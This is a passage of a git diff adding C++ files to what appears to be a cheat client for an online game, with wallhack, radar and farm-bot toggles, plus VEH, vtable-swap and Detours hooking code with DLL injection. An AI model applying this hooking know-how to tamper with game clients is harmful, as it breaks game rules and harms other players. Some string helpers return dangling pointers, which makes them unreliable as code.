+ ret += (char)dataBuff[j]; + } + else + { + ret += "."; + } + + } + + + return ret; + + //return string(reinterpret_cast(data), len); + } + + static const wchar_t* GetWideChar(const char* c) + { + const size_t cSize = strlen(c) + 1; + wchar_t* wc = new wchar_t[cSize]; + mbstowcs(wc, c, cSize); + + return wc; + } + + static LPWSTR GetLPWSTR(const char* c) + { + const size_t cSize = strlen(c) + 1; + wchar_t* wc = new wchar_t[cSize]; + mbstowcs(wc, c, cSize); + + return wc; + } + static const wchar_t* GetWCharFromString(string c) + { + std::wstring stemp = std::wstring(c.begin(), c.end()); + return stemp.c_str(); + } + static const char* ConstCharFromWChar(TCHAR* tch) + { + /*wstring ws = wstring(tch); + string s(ws.begin(), ws.end()); + return s.c_str();*/ + return ""; + } + static string StringFromWChar(TCHAR* tch) + { + /*wstring ws = wstring(tch); + string s(ws.begin(), ws.end()); + return s;*/ + return "";; + } + + static string StringFromWString(wstring ws) + { + string s(ws.begin(), ws.end()); + return s; + } + + static vector Split(std::string src, char delim) + { + std::vector ret; + std::string tempval; + for (std::string::iterator i = src.begin(); i < src.end(); i++) + { + if (*i == delim) + { + ret.push_back(tempval); + tempval.clear(); + } + else + tempval.push_back(*i); + } + return ret; + } + + + static vector Split2(const string& str, const string& delim) + { + vector tokens; + size_t prev = 0, pos = 0; + do + { + pos = str.find(delim, prev); + if (pos == string::npos) pos = str.length(); + string token = str.substr(prev, pos - prev); + if (!token.empty()) tokens.push_back(token); + prev = pos + delim.length(); + } while (pos < str.length() && prev < str.length()); + return tokens; + } + + static string DWORDToHexString(DWORD intValue) { + + string hexStr; + + + std::stringstream sstream; + sstream << "0x" + << std::setfill('0') << std::setw(2) + << std::hex << (DWORD)intValue; + + hexStr = sstream.str(); + sstream.clear(); + + return hexStr; + } + + + static vectorHexToBytes(std::string& hex) { + std::vector bytes; + hex = StringExtension::ReplaceString(hex, " ", ""); + + for (unsigned int i = 0; i < hex.length(); i += 2) { + std::string byteString = hex.substr(i, 2); + char byte = (char)strtol(byteString.c_str(), NULL, 16); + bytes.push_back(byte); + } + + return bytes; + } + +#define CP_WINDOWS 1250 +#define CP_8859_2 28592 + + static char* UTF8ToANSI(char* szU8) + { + int wcsLen = ::MultiByteToWideChar(CP_UTF8, NULL, szU8, strlen(szU8), NULL, 0); + wchar_t* wszString = new wchar_t[wcsLen + 1]; + ::MultiByteToWideChar(CP_UTF8, NULL, szU8, strlen(szU8), wszString, wcsLen); + wszString[wcsLen] = '\0'; + + int ansiLen = ::WideCharToMultiByte(CP_ACP, NULL, wszString, wcslen(wszString), NULL, 0, NULL, NULL); + char* szAnsi = new char[ansiLen + 1]; + ::WideCharToMultiByte(CP_ACP, NULL, wszString, wcslen(wszString), szAnsi, ansiLen, NULL, NULL); + szAnsi[ansiLen] = '\0'; + + return szAnsi; + } + static char* UTF8ToANSI2(char* szU8) + { + int wcsLen = ::MultiByteToWideChar(CP_UTF8, NULL, szU8, strlen(szU8), NULL, 0); + wchar_t* wszString = new wchar_t[wcsLen + 1]; + ::MultiByteToWideChar(CP_UTF8, NULL, szU8, strlen(szU8), wszString, wcsLen); + wszString[wcsLen] = '\0'; + + int ansiLen = ::WideCharToMultiByte(CP_OEMCP, NULL, wszString, wcslen(wszString), NULL, 0, NULL, NULL); + char* szAnsi = new char[ansiLen + 1]; + ::WideCharToMultiByte(CP_OEMCP, NULL, wszString, wcslen(wszString), szAnsi, ansiLen, NULL, NULL); + szAnsi[ansiLen] = '\0'; + + return szAnsi; + } + //static char* UTF8ToANSI(char* szU8) + //{ + // int wcsLen = ::MultiByteToWideChar(CP_UTF8, NULL, szU8, strlen(szU8), NULL, 0); + // wchar_t* wszString = new wchar_t[wcsLen + 1]; + // ::MultiByteToWideChar(CP_UTF8, NULL, szU8, strlen(szU8), wszString, wcsLen); + // wszString[wcsLen] = '\0'; + + // int ansiLen = ::WideCharToMultiByte(CP_ACP, NULL, wszString, wcslen(wszString), NULL, 0, NULL, NULL); + // char* szAnsi = new char[ansiLen + 1]; + // ::WideCharToMultiByte(CP_ACP, NULL, wszString, wcslen(wszString), szAnsi, ansiLen, NULL, NULL); + // szAnsi[ansiLen] = '\0'; + + // return szAnsi; + //} + +#if 1 + static std::string ASCIIToUTF8(const std::string& str, const std::locale& loc = std::locale{}) + { + using wcvt = std::wstring_convert, int32_t>; + std::u32string wstr(str.size(), U'\0'); + std::use_facet>(loc).widen(str.data(), str.data() + str.size(), &wstr[0]); + return wcvt{}.to_bytes( + reinterpret_cast(wstr.data()), + reinterpret_cast(wstr.data() + wstr.size()) + ); + } + + static std::string UTF8ToASCII(const std::string& str, const std::locale& loc = std::locale{}) + { + using wcvt = std::wstring_convert, int32_t>; + auto wstr = wcvt{}.from_bytes(str); + std::string result(wstr.size(), '0'); + std::use_facet>(loc).narrow( + reinterpret_cast(wstr.data()), + reinterpret_cast(wstr.data() + wstr.size()), + '?', &result[0]); + return result; + } + +#else + static std::string ASCIIToUTF8(const std::string& str, const std::locale& loc = std::locale{}) + { + using wcvt = std::wstring_convert, char32_t>; + std::u32string wstr(str.size(), '\0'); + std::use_facet>(loc).widen(str.data(), str.data() + str.size(), &wstr[0]); + return wcvt{}.to_bytes(wstr.data(), wstr.data() + wstr.size()); + } + + static std::string UTF8ToASCII(const std::string& str, const std::locale& loc = std::locale{}) + { + using wcvt = std::wstring_convert, char32_t>; + auto wstr = wcvt{}.from_bytes(str); + std::string result(wstr.size(), '0'); + std::use_facet>(loc).narrow(wstr.data(), wstr.data() + wstr.size(), '?', &result[0]); + return result; + } +#endif +}; + diff --git a/EngineX-Pro/TAbstractSingleton.h b/EngineX-Pro/TAbstractSingleton.h new file mode 100644 index 0000000..5165393 --- /dev/null +++ b/EngineX-Pro/TAbstractSingleton.h @@ -0,0 +1,29 @@ +#pragma once + +template +class TAbstractSingleton +{ + static T* ms_singleton; + +public: + TAbstractSingleton() + { + + int offset = (int)(T*)1 - (int)(Singleton *) (T*) 1; + ms_singleton = (T*)((int)this + offset); + } + + virtual ~TAbstractSingleton() + { + + ms_singleton = 0; + } + + __forceinline static T& GetSingleton() + { + + return (*ms_singleton); + } +}; + +template T* TAbstractSingleton ::ms_singleton = 0; \ No newline at end of file diff --git a/EngineX-Pro/UID.cpp b/EngineX-Pro/UID.cpp new file mode 100644 index 0000000..c7a4344 --- /dev/null +++ b/EngineX-Pro/UID.cpp @@ -0,0 +1,11 @@ +#include "polyhook2/UID.hpp" + +PLH::UID::UID(long val) { + this->val = val; +} + +std::atomic_long& PLH::UID::singleton() { + static std::atomic_long base = { -1 }; + base++; + return base; +} diff --git a/EngineX-Pro/VEH.hpp b/EngineX-Pro/VEH.hpp new file mode 100644 index 0000000..a2739c5 --- /dev/null +++ b/EngineX-Pro/VEH.hpp @@ -0,0 +1,94 @@ +#ifdef _WIN64 +#define XIP Rip +#else +#define XIP Eip +#endif +class VEHHook { +public: + static bool Hook(uintptr_t og_fun, uintptr_t hk_fun); + static bool Unhook(); + + static uintptr_t og_fun; + static uintptr_t hk_fun; +private: + static PVOID VEH_Handle; + static DWORD oldProtection; + + static bool AreInSamePage(const uint8_t* Addr1, const uint8_t* Addr2); + static LONG WINAPI VEHHandler(EXCEPTION_POINTERS* pExceptionInfo); +}; + +uintptr_t VEHHook::og_fun = 0; +uintptr_t VEHHook::hk_fun = 0; +PVOID VEHHook::VEH_Handle = nullptr; +DWORD VEHHook::oldProtection = 0; + +bool VEHHook::Hook(uintptr_t original_fun, uintptr_t hooked_fun) +{ + VEHHook::og_fun = original_fun; + VEHHook::hk_fun = hooked_fun; + + //We cannot hook two functions in the same page, because we will cause an infinite callback + if (AreInSamePage((const uint8_t*)og_fun, (const uint8_t*)hk_fun)) + return false; + + //Register the Custom Exception Handler + VEH_Handle = AddVectoredExceptionHandler(true, (PVECTORED_EXCEPTION_HANDLER)VEHHandler); + + //Toggle PAGE_GUARD flag on the page + if (VEH_Handle && VirtualProtect((LPVOID)og_fun, 1, PAGE_EXECUTE_READ | PAGE_GUARD, &oldProtection)) + return true; + + return false; +} + +bool VEHHook::Unhook() +{ + DWORD old; + if (VEH_Handle && //Make sure we have a valid Handle to the registered VEH + VirtualProtect((LPVOID)og_fun, 1, oldProtection, &old) && //Restore old Flags + RemoveVectoredExceptionHandler(VEH_Handle)) //Remove the VEH + return true; + + return false; +} + +LONG WINAPI VEHHook::VEHHandler(EXCEPTION_POINTERS* pExceptionInfo) +{ + if (pExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_GUARD_PAGE_VIOLATION) //We will catch PAGE_GUARD Violation + { + if (pExceptionInfo->ContextRecord->XIP == (uintptr_t)og_fun) //Make sure we are at the address we want within the page + { + pExceptionInfo->ContextRecord->XIP = (uintptr_t)hk_fun; //Modify EIP/RIP to where we want to jump to instead of the original function + } + + pExceptionInfo->ContextRecord->EFlags |= 0x100; //Will trigger an STATUS_SINGLE_STEP exception right after the next instruction get executed. In short, we come right back into this exception handler 1 instruction later + return EXCEPTION_CONTINUE_EXECUTION; //Continue to next instruction + } + + if (pExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP) //We will also catch STATUS_SINGLE_STEP, meaning we just had a PAGE_GUARD violation + { + DWORD dwOld; + VirtualProtect((LPVOID)og_fun, 1, PAGE_EXECUTE_READ | PAGE_GUARD, &dwOld); //Reapply the PAGE_GUARD flag because everytime it is triggered, it get removes + + return EXCEPTION_CONTINUE_EXECUTION; //Continue the next instruction + } + + return EXCEPTION_CONTINUE_SEARCH; //Keep going down the exception handling list to find the right handler IF it is not PAGE_GUARD nor SINGLE_STEP +} + +bool VEHHook::AreInSamePage(const uint8_t* Addr1, const uint8_t* Addr2) +{ + MEMORY_BASIC_INFORMATION mbi1; + if (!VirtualQuery(Addr1, &mbi1, sizeof(mbi1))) //Get Page information for Addr1 + return true; + + MEMORY_BASIC_INFORMATION mbi2; + if (!VirtualQuery(Addr2, &mbi2, sizeof(mbi2))) //Get Page information for Addr1 + return true; + + if (mbi1.BaseAddress == mbi2.BaseAddress) //See if the two pages start at the same Base Address + return true; //Both addresses are in the same page, abort hooking! + + return false; +} \ No newline at end of file diff --git a/EngineX-Pro/VFuncSwapHook.cpp b/EngineX-Pro/VFuncSwapHook.cpp new file mode 100644 index 0000000..a244717 --- /dev/null +++ b/EngineX-Pro/VFuncSwapHook.cpp @@ -0,0 +1,70 @@ +#include "polyhook2/Virtuals/VFuncSwapHook.hpp" + +PLH::VFuncSwapHook::VFuncSwapHook(const char* Class, const VFuncMap& redirectMap, VFuncMap* userOrigMap) + : VFuncSwapHook((uint64_t)Class, redirectMap, userOrigMap) +{} + +PLH::VFuncSwapHook::VFuncSwapHook(const uint64_t Class, const VFuncMap& redirectMap, VFuncMap* userOrigMap) + : m_class(Class) + , m_vtable(nullptr) + , m_vFuncCount(0) + , m_redirectMap(redirectMap) + , m_origVFuncs() + , m_userOrigMap(userOrigMap) +{} + +bool PLH::VFuncSwapHook::hook() { + assert(m_userOrigMap != nullptr); + MemoryProtector prot(m_class, sizeof(void*), ProtFlag::R | ProtFlag::W, *this); + m_vtable = *(uintptr_t**)m_class; + m_vFuncCount = countVFuncs(); + if (m_vFuncCount <= 0) + return false; + + MemoryProtector prot2((uint64_t)&m_vtable[0], sizeof(uintptr_t) * m_vFuncCount, ProtFlag::R | ProtFlag::W, *this); + for (const auto& p : m_redirectMap) { + assert(p.first < m_vFuncCount); + if (p.first >= m_vFuncCount) + return false; + + // redirect ptr at VTable[i] + m_origVFuncs[p.first] = (uint64_t)m_vtable[p.first]; + (*m_userOrigMap)[p.first] = (uint64_t)m_vtable[p.first]; + m_vtable[p.first] = (uintptr_t)p.second; + } + + m_hooked = true; + return true; +} + +bool PLH::VFuncSwapHook::unHook() { + assert(m_userOrigMap != nullptr); + assert(m_hooked); + if (!m_hooked) { + Log::log("vfuncswap unhook failed: no hook present", ErrorLevel::SEV); + return false; + } + + MemoryProtector prot2((uint64_t)&m_vtable[0], sizeof(uintptr_t) * m_vFuncCount, ProtFlag::R | ProtFlag::W, *this); + for (const auto& p : m_origVFuncs) { + assert(p.first < m_vFuncCount); + if (p.first >= m_vFuncCount) + return false; + + m_vtable[p.first] = (uintptr_t)p.second; + } + + m_userOrigMap = nullptr; + m_hooked = false; + return true; +} + +uint16_t PLH::VFuncSwapHook::countVFuncs() { + uint16_t count = 0; + for (;; count++) { + // if you have more than 500 vfuncs you have a problem and i don't support you :) + if (!IsValidPtr((void*)m_vtable[count]) || count > 500) + break; + } + return count; +} diff --git a/EngineX-Pro/VTableSwapHook.cpp b/EngineX-Pro/VTableSwapHook.cpp new file mode 100644 index 0000000..31e08af --- /dev/null +++ b/EngineX-Pro/VTableSwapHook.cpp @@ -0,0 +1,92 @@ +#include "polyhook2/Virtuals/VTableSwapHook.hpp" + +PLH::VTableSwapHook::VTableSwapHook(const char* Class, const VFuncMap& redirectMap) + : VTableSwapHook((uint64_t)Class, redirectMap) +{} + +PLH::VTableSwapHook::VTableSwapHook(const uint64_t Class) + : VTableSwapHook(Class, PLH::VFuncMap{ }) +{} + +PLH::VTableSwapHook::VTableSwapHook(const uint64_t Class, const VFuncMap& redirectMap) + : m_newVtable(nullptr) + , m_origVtable(nullptr) + , m_class(Class) + , m_vFuncCount(0) + , m_redirectMap(redirectMap) + , m_origVFuncs() +{} + +bool PLH::VTableSwapHook::hook() { + assert(!m_hooked); + if (m_hooked) { + Log::log("vtable hook failed: hook already present", ErrorLevel::SEV); + return false; + } + + MemoryProtector prot(m_class, sizeof(void*), ProtFlag::R | ProtFlag::W, *this); + m_origVtable = *(uintptr_t**)m_class; + m_vFuncCount = countVFuncs(); + assert(m_vFuncCount > 0); + if (m_vFuncCount <= 0) + { + Log::log("vtable hook failed: class has no virtual functions", ErrorLevel::SEV); + return false; + } + + m_newVtable.reset(new uintptr_t[m_vFuncCount]); + + // deep copy orig vtable into new + memcpy(m_newVtable.get(), m_origVtable, sizeof(uintptr_t) * m_vFuncCount); + + for (const auto& p : m_redirectMap) { + assert(p.first < m_vFuncCount); + if (p.first >= m_vFuncCount) { + Log::log("vtable hook failed: index exceeds virtual function count", ErrorLevel::SEV); + m_newVtable = nullptr; + m_origVFuncs.clear(); + return false; + } + + // redirect ptr at VTable[i] + m_origVFuncs[p.first] = (uint64_t)m_newVtable[p.first]; + m_newVtable[p.first] = (uintptr_t)p.second; + } + + *(uint64_t**)m_class = (uint64_t*)m_newVtable.get(); + m_hooked = true; + Log::log("vtable hooked", ErrorLevel::INFO); + return true; +} + +bool PLH::VTableSwapHook::unHook() { + assert(m_hooked); + if (!m_hooked) { + Log::log("vtable unhook failed: no hook present", ErrorLevel::SEV); + return false; + } + + MemoryProtector prot(m_class, sizeof(void*), ProtFlag::R | ProtFlag::W, *this); + *(uint64_t**)m_class = (uint64_t*)m_origVtable; + + m_newVtable.reset(); + + m_hooked = false; + m_origVtable = nullptr; + Log::log("vtable unhooked", ErrorLevel::INFO); + return true; +} + +uint16_t PLH::VTableSwapHook::countVFuncs() { + uint16_t count = 0; + for (;; count++) { + // if you have more than 500 vfuncs you have a problem and i don't support you :) + if (!IsValidPtr((void*)m_origVtable[count]) || count > 500) + break; + } + return count; +} + +const PLH::VFuncMap& PLH::VTableSwapHook::getOriginals() const { + return m_origVFuncs; +} \ No newline at end of file diff --git a/EngineX-Pro/Visuals.h b/EngineX-Pro/Visuals.h new file mode 100644 index 0000000..7c70338 --- /dev/null +++ b/EngineX-Pro/Visuals.h @@ -0,0 +1,82 @@ +#pragma once +class Visuals :public IAbstractModuleBase, public Singleton +{ +private: +public: + virtual void OnStart() + { + + } + + virtual void OnStop() + { + } + + virtual void OnUpdate() + { + + } + + virtual void OnRender() + { + + } + + void OnTab1() + { + ImGui::PushStyleVar(ImGuiStyleVar_ChildRounding, 5.0f); + ImGui::SetNextWindowBgAlpha(0.75f); + ImGui::BeginChild("VisualsBorder", ImVec2(ImGui::GetWindowWidth() - 10, ImGui::GetWindowHeight() - 10), true); + ImGui::Checkbox("ON/OFF Render Scene", &Settings::PROTECTION_DISABLE_RENDER_ENABLE); + ImGui::Checkbox("ON/OFF Update Scene", &Settings::PROTECTION_DISABLE_UPDATE_ENABLE); + ImGui::ColorEdit4("##RenderWH", (float*)&Settings::MAIN_WH_RENDER_COLOR, ImGuiColorEditFlags_Float | ImGuiColorEditFlags_NoInputs); ImGui::SameLine(); + ImGui::Checkbox("Render WaitHack", &Settings::MAIN_WH_RENDER_ENABLE); + ImGui::ColorEdit4("##RendeFarm", (float*)&Settings::RADAR_WAYPOINT_COLOR, ImGuiColorEditFlags_Float | ImGuiColorEditFlags_NoInputs); ImGui::SameLine(); + ImGui::Checkbox("Render FarmBot Path", &Settings::FARM_RENDER_PATH_ENABLE); + ImGui::EndChild(); + ImGui::PopStyleVar(); + } + + void OnTab2() + { + ImGui::PushStyleVar(ImGuiStyleVar_ChildRounding, 5.0f); + ImGui::SetNextWindowBgAlpha(0.75f); + ImGui::BeginChild("RadarBorder", ImVec2(ImGui::GetWindowWidth() - 10, ImGui::GetWindowHeight() - 10), true); + ImGui::ColorEdit3("##Monsters", (float*)&Settings::RADAR_MONSTER_COLOR, ImGuiColorEditFlags_Float | ImGuiColorEditFlags_NoInputs); ImGui::SameLine(); + ImGui::Checkbox("Monsters", &Settings::RADAR_MONSTER_SHOW_ENABLE); + ImGui::ColorEdit3("##Bosses", (float*)&Settings::RADAR_BOSS_COLOR, ImGuiColorEditFlags_Float | ImGuiColorEditFlags_NoInputs); ImGui::SameLine(); + ImGui::Checkbox("Boss", &Settings::RADAR_BOSS_SHOW_ENABLE); + ImGui::ColorEdit3("##NPC", (float*)&Settings::RADAR_NPC_COLOR, ImGuiColorEditFlags_Float | ImGuiColorEditFlags_NoInputs); ImGui::SameLine(); + ImGui::Checkbox("Npc", &Settings::RADAR_NPC_SHOW_ENABLE); + ImGui::ColorEdit3("##ZYLY", (float*)&Settings::RADAR_MINE_COLOR, ImGuiColorEditFlags_Float | ImGuiColorEditFlags_NoInputs); ImGui::SameLine(); + ImGui::Checkbox("Veins", &Settings::RADAR_MINING_SHOW_ENABLE); + ImGui::ColorEdit3("##METIN", (float*)&Settings::RADAR_STONE_COLOR, ImGuiColorEditFlags_Float | ImGuiColorEditFlags_NoInputs); ImGui::SameLine(); + ImGui::Checkbox("Metin", &Settings::RADAR_STONE_SHOW_ENABLE); + ImGui::ColorEdit3("##Players", (float*)&Settings::RADAR_PLAYER_COLOR, ImGuiColorEditFlags_Float | ImGuiColorEditFlags_NoInputs); ImGui::SameLine(); + ImGui::Checkbox("Players", &Settings::RADAR_PLAYER_SHOW_ENABLE); + ImGui::ColorEdit3("##Waypoints", (float*)&Settings::RADAR_WAYPOINT_COLOR, ImGuiColorEditFlags_Float | ImGuiColorEditFlags_NoInputs); ImGui::SameLine(); + ImGui::Checkbox("Waypoints", &Settings::RADAR_WAYPOINT_SHOW_ENABLE); + + ImGui::EndChild(); + ImGui::PopStyleVar(); + } + + void OnTabs() + { + MainForm::AddTab(40, "General"); + MainForm::AddTab(41, "Radar"); + } + + void OnMenu() + { + switch (MainForm::CurTabOpen) + { + case 40: + OnTab1(); + break; + case 41: + OnTab2(); + break; + } + } +}; \ No newline at end of file diff --git a/EngineX-Pro/detours.h b/EngineX-Pro/detours.h new file mode 100644 index 0000000..9b942f7 --- /dev/null +++ b/EngineX-Pro/detours.h @@ -0,0 +1,616 @@ +////////////////////////////////////////////////////////////////////////////// +// +// File: detours.h +// Module: detours.lib +// +// Detours for binary functions. Version 1.5 (Build 46) +// +// Copyright 1995-2001, Microsoft Corporation +// + +#pragma once +#ifndef _DETOURS_H_ +#define _DETOURS_H_ + +#pragma comment(lib, "detours") + +////////////////////////////////////////////////////////////////////////////// +// +#ifndef GUID_DEFINED +#define GUID_DEFINED +typedef struct _GUID +{ + DWORD Data1; + WORD Data2; + WORD Data3; + BYTE Data4[ 8 ]; +} GUID; +#endif // !GUID_DEFINED + +#if defined(__cplusplus) +#ifndef _REFGUID_DEFINED +#define _REFGUID_DEFINED +#define REFGUID const GUID & +#endif // !_REFGUID_DEFINED +#else // !__cplusplus +#ifndef _REFGUID_DEFINED +#define _REFGUID_DEFINED +#define REFGUID const GUID * const +#endif // !_REFGUID_DEFINED +#endif // !__cplusplus +// +////////////////////////////////////////////////////////////////////////////// + +#ifdef __cplusplus +extern "C" { +#endif // __cplusplus + +/////////////////////////////////////////////////// Instruction Target Macros. +// +#define DETOUR_INSTRUCTION_TARGET_NONE ((PBYTE)0) +#define DETOUR_INSTRUCTION_TARGET_DYNAMIC ((PBYTE)~0ul) + +/////////////////////////////////////////////////////////// Trampoline Macros. +// +// DETOUR_TRAMPOLINE(trampoline_prototype, target_name) +// +// The naked trampoline must be at least DETOUR_TRAMPOLINE_SIZE BYTEs. +// +#define DETOUR_TRAMPOLINE_SIZE 32 +#define DETOUR_SECTION_HEADER_SIGNATURE 0x00727444 // "Dtr\0" + +#define DETOUR_TRAMPOLINE(trampoline,target) \ +static PVOID __fastcall _Detours_GetVA_##target(VOID) \ +{ \ + return ⌖ \ +} \ +\ +__declspec(naked) trampoline \ +{ \ + __asm { nop };\ + __asm { nop };\ + __asm { call _Detours_GetVA_##target };\ + __asm { jmp eax };\ + __asm { ret };\ + __asm { nop };\ + __asm { nop };\ + __asm { nop };\ + __asm { nop };\ + __asm { nop };\ + __asm { nop };\ + __asm { nop };\ + __asm { nop };\ + __asm { nop };\ + __asm { nop };\ + __asm { nop };\ + __asm { nop };\ + __asm { nop };\ + __asm { nop };\ + __asm { nop };\ + __asm { nop };\ + __asm { nop };\ + __asm { nop };\ + __asm { nop };\ + __asm { nop };\ + __asm { nop };\ + __asm { nop };\ +} + +#define DETOUR_TRAMPOLINE_EMPTY(trampoline) \ +__declspec(naked) trampoline \ +{ \ + __asm { nop };\ + __asm { nop };\ + __asm { xor eax, eax };\ + __asm { mov eax, [eax] };\ + __asm { ret };\ + __asm { nop };\ + __asm { nop };\ + __asm { nop };\ + __asm { nop };\ + __asm { nop };\ + __asm { nop };\ + __asm { nop };\ + __asm { nop };\ + __asm { nop };\ + __asm { nop };\ + __asm { nop };\ + __asm { nop };\ + __asm { nop };\ + __asm { nop };\ + __asm { nop };\ + __asm { nop };\ + __asm { nop };\ + __asm { nop };\ + __asm { nop };\ + __asm { nop };\ + __asm { nop };\ + __asm { nop };\ + __asm { nop };\ + __asm { nop };\ + __asm { nop };\ +} + +/////////////////////////////////////////////////////////// Binary Structures. +// +#pragma pack(push, 8) +typedef struct _DETOUR_SECTION_HEADER +{ + DWORD cbHeaderSize; + DWORD nSignature; + DWORD nDataOffset; + DWORD cbDataSize; + + DWORD nOriginalImportVirtualAddress; + DWORD nOriginalImportSize; + DWORD nOriginalBoundImportVirtualAddress; + DWORD nOriginalBoundImportSize; + + DWORD nOriginalIatVirtualAddress; + DWORD nOriginalIatSize; + DWORD nOriginalSizeOfImage; + DWORD nReserve; +} DETOUR_SECTION_HEADER, *PDETOUR_SECTION_HEADER; + +typedef struct _DETOUR_SECTION_RECORD +{ + DWORD cbBYTEs; + DWORD nReserved; + GUID guid; +} DETOUR_SECTION_RECORD, *PDETOUR_SECTION_RECORD; +#pragma pack(pop) + +#define DETOUR_SECTION_HEADER_DECLARE(cbSectionSize) \ +{ \ + sizeof(DETOUR_SECTION_HEADER),\ + DETOUR_SECTION_HEADER_SIGNATURE,\ + sizeof(DETOUR_SECTION_HEADER),\ + (cbSectionSize),\ + \ + 0,\ + 0,\ + 0,\ + 0,\ + \ + 0,\ + 0,\ + 0,\ + 0,\ +} + +///////////////////////////////////////////////////////////// Binary Typedefs. +// +typedef BOOL (CALLBACK *PF_DETOUR_BINARY_BYWAY_CALLBACK)(PVOID pContext, + PCHAR pszFile, + PCHAR *ppszOutFile); +typedef BOOL (CALLBACK *PF_DETOUR_BINARY_FILE_CALLBACK)(PVOID pContext, + PCHAR pszOrigFile, + PCHAR pszFile, + PCHAR *ppszOutFile); +typedef BOOL (CALLBACK *PF_DETOUR_BINARY_SYMBOL_CALLBACK)(PVOID pContext, + DWORD nOrdinal, + PCHAR pszOrigSymbol, + PCHAR pszSymbol, + PCHAR *ppszOutSymbol); +typedef BOOL (CALLBACK *PF_DETOUR_BINARY_FINAL_CALLBACK)(PVOID pContext); +typedef BOOL (CALLBACK *PF_DETOUR_BINARY_EXPORT_CALLBACK)(PVOID pContext, + DWORD nOrdinal, + PCHAR pszName, + PBYTE pbCode); + +typedef VOID * PDETOUR_BINARY; +typedef VOID * PDETOUR_LOADED_BINARY; + +//////////////////////////////////////////////////////// Trampoline Functions. +// +PBYTE WINAPI DetourFunction(PBYTE pbTargetFunction, + PBYTE pbDetourFunction); + +BOOL WINAPI DetourFunctionWithEmptyTrampoline(PBYTE pbTrampoline, + PBYTE pbTarget, + PBYTE pbDetour); + +BOOL WINAPI DetourFunctionWithEmptyTrampolineEx(PBYTE pbTrampoline, + PBYTE pbTarget, + PBYTE pbDetour, + PBYTE *ppbRealTrampoline, + PBYTE *ppbRealTarget, + PBYTE *ppbRealDetour); + +BOOL WINAPI DetourFunctionWithTrampoline(PBYTE pbTrampoline, + PBYTE pbDetour); + +BOOL WINAPI DetourFunctionWithTrampolineEx(PBYTE pbTrampoline, + PBYTE pbDetour, + PBYTE *ppbRealTrampoline, + PBYTE *ppbRealTarget); + +BOOL WINAPI DetourRemove(PBYTE pbTrampoline, PBYTE pbDetour); + +////////////////////////////////////////////////////////////// Code Functions. +// +PBYTE WINAPI DetourFindFunction(PCHAR pszModule, PCHAR pszFunction); +PBYTE WINAPI DetourGetFinalCode(PBYTE pbCode, BOOL fSkipJmp); + +PBYTE WINAPI DetourCopyInstruction(PBYTE pbDst, PBYTE pbSrc, PBYTE *ppbTarget); +PBYTE WINAPI DetourCopyInstructionEx(PBYTE pbDst, + PBYTE pbSrc, + PBYTE *ppbTarget, + LONG *plExtra); + +///////////////////////////////////////////////////// Loaded Binary Functions. +// +HMODULE WINAPI DetourEnumerateModules(HMODULE hModuleLast); +PBYTE WINAPI DetourGetEntryPoint(HMODULE hModule); +BOOL WINAPI DetourEnumerateExports(HMODULE hModule, + PVOID pContext, + PF_DETOUR_BINARY_EXPORT_CALLBACK pfExport); + +PBYTE WINAPI DetourFindPayload(HMODULE hModule, REFGUID rguid, DWORD *pcbData); +DWORD WINAPI DetourGetSizeOfPayloads(HMODULE hModule); + +///////////////////////////////////////////////// Persistent Binary Functions. +// +BOOL WINAPI DetourBinaryBindA(PCHAR pszFile, PCHAR pszDll, PCHAR pszPath); +BOOL WINAPI DetourBinaryBindW(PWCHAR pwzFile, PWCHAR pwzDll, PWCHAR pwzPath); +#ifdef UNICODE +#define DetourBinaryBind DetourBinaryBindW +#else +#define DetourBinaryBind DetourBinaryBindA +#endif // !UNICODE + +PDETOUR_BINARY WINAPI DetourBinaryOpen(HANDLE hFile); +PBYTE WINAPI DetourBinaryEnumeratePayloads(PDETOUR_BINARY pBinary, + GUID *pGuid, + DWORD *pcbData, + DWORD *pnIterator); +PBYTE WINAPI DetourBinaryFindPayload(PDETOUR_BINARY pBinary, + REFGUID rguid, + DWORD *pcbData); +PBYTE WINAPI DetourBinarySetPayload(PDETOUR_BINARY pBinary, + REFGUID rguid, + PBYTE pbData, + DWORD cbData); +BOOL WINAPI DetourBinaryDeletePayload(PDETOUR_BINARY pBinary, REFGUID rguid); +BOOL WINAPI DetourBinaryPurgePayloads(PDETOUR_BINARY pBinary); +BOOL WINAPI DetourBinaryResetImports(PDETOUR_BINARY pBinary); +BOOL WINAPI DetourBinaryEditImports(PDETOUR_BINARY pBinary, + PVOID pContext, + PF_DETOUR_BINARY_BYWAY_CALLBACK pfByway, + PF_DETOUR_BINARY_FILE_CALLBACK pfFile, + PF_DETOUR_BINARY_SYMBOL_CALLBACK pfSymbol, + PF_DETOUR_BINARY_FINAL_CALLBACK pfFinal); +BOOL WINAPI DetourBinaryWrite(PDETOUR_BINARY pBinary, HANDLE hFile); +BOOL WINAPI DetourBinaryClose(PDETOUR_BINARY pBinary); + +/////////////////////////////////////////////// First Chance Exception Filter. +// +LPTOP_LEVEL_EXCEPTION_FILTER WINAPI +DetourFirstChanceExceptionFilter(LPTOP_LEVEL_EXCEPTION_FILTER lpTopLevelFilter); + +///////////////////////////////////////////////// Create Process & Inject Dll. +// +typedef BOOL (WINAPI *PDETOUR_CREATE_PROCESS_ROUTINEA) + (LPCSTR lpApplicationName, + LPSTR lpCommandLine, + LPSECURITY_ATTRIBUTES lpProcessAttributes, + LPSECURITY_ATTRIBUTES lpThreadAttributes, + BOOL bInheritHandles, + DWORD dwCreationFlags, + LPVOID lpEnvironment, + LPCSTR lpCurrentDirectory, + LPSTARTUPINFOA lpStartupInfo, + LPPROCESS_INFORMATION lpProcessInformation); + +typedef BOOL (WINAPI *PDETOUR_CREATE_PROCESS_ROUTINEW) + (LPCWSTR lpApplicationName, + LPWSTR lpCommandLine, + LPSECURITY_ATTRIBUTES lpProcessAttributes, + LPSECURITY_ATTRIBUTES lpThreadAttributes, + BOOL bInheritHandles, + DWORD dwCreationFlags, + LPVOID lpEnvironment, + LPCWSTR lpCurrentDirectory, + LPSTARTUPINFOW lpStartupInfo, + LPPROCESS_INFORMATION lpProcessInformation); + +BOOL WINAPI DetourCreateProcessWithDllA(LPCSTR lpApplicationName, + LPSTR lpCommandLine, + LPSECURITY_ATTRIBUTES lpProcessAttributes, + LPSECURITY_ATTRIBUTES lpThreadAttributes, + BOOL bInheritHandles, + DWORD dwCreationFlags, + LPVOID lpEnvironment, + LPCSTR lpCurrentDirectory, + LPSTARTUPINFOA lpStartupInfo, + LPPROCESS_INFORMATION lpProcessInformation, + LPCSTR lpDllName, + 